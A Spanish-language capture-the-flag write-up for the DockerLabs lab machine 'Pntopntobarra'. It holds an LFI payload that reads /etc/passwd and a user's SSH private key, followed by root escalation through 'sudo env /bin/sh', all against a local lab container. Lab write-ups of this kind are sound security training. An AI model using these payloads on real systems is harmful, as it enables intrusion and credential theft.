> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/pntopntobarra.md).

# 🟩 Pntopntobarra

## 🕵️ Reconocimiento

Hacemos un escaneo de puertos con `nmap`:

```bash
nmap -sC -sV -Pn $IPTARGET | tee nmap
```

<figure><img src="/files/zM7hrtcZuJR1rJiRYoKk" alt=""><figcaption></figcaption></figure>

Al entrar a la página web, encontramos lo siguiente:

<figure><img src="/files/68VEkLn730Y8Gdj6W6FA" alt=""><figcaption></figcaption></figure>

Si le damos clic al primer botón, se borra todo el sistema y tendrás que reiniciar la máquina (no preguntéis por qué lo sé). El segundo botón nos redirecciona al siguiente directorio:

```url
http://172.17.0.2/ejemplos.php?images=./ejemplo1.png
```

<figure><img src="/files/X93VXrcNncNJKASkkOEo" alt=""><figcaption></figcaption></figure>

Probamos a meter una entrada para ver si el parámetro es vulnerable a `LFI` y ver el fichero `/etc/passwd`:

```url
http://172.17.0.2/ejemplos.php?images=../../../../etc/passwd
```

<figure><img src="/files/ROGv7MmBAdPnRa2i7IAZ" alt=""><figcaption></figcaption></figure>

El parámetro `images` es vulnerable a un `LFI`.

## 🚪 Ganando acceso

Como vemos en el fichero, existe un usuario llamado `nico` con una terminal interactiva. Podemos probar a obtener su clave privada RSA y conectarnos a la máquina por `ssh`:

<figure><img src="/files/tJaA0EfaoeiK2SX1wK8L" alt=""><figcaption></figcaption></figure>

Copiamos este fichero a nuestra máquina, lo movemos a nuestra carpeta `/home/usuario/.ssh` y le damos permisos con `sudo chmod 600 /home/usuario/.ssh/id_rsa`. Una vez hecho esto, podemos acceder a la máquina:

<figure><img src="/files/G7n6dKSJAYuzShJK5pxv" alt=""><figcaption></figcaption></figure>

## 💥 Escalada de privilegios

Una vez dentro, vemos que tenemos permiso para ejecutar el binario `env` con `sudo` como cualquier usuario sin necesidad de contraseña. Con `env` podemos montar un entorno ejecutando `sh` como `root`, dándonos acceso así a una terminal con privilegios de administrador:

```bash
sudo env /bin/sh
```

<figure><img src="/files/2lKCY5dInyK0AqN04teX" alt=""><figcaption></figcaption></figure>
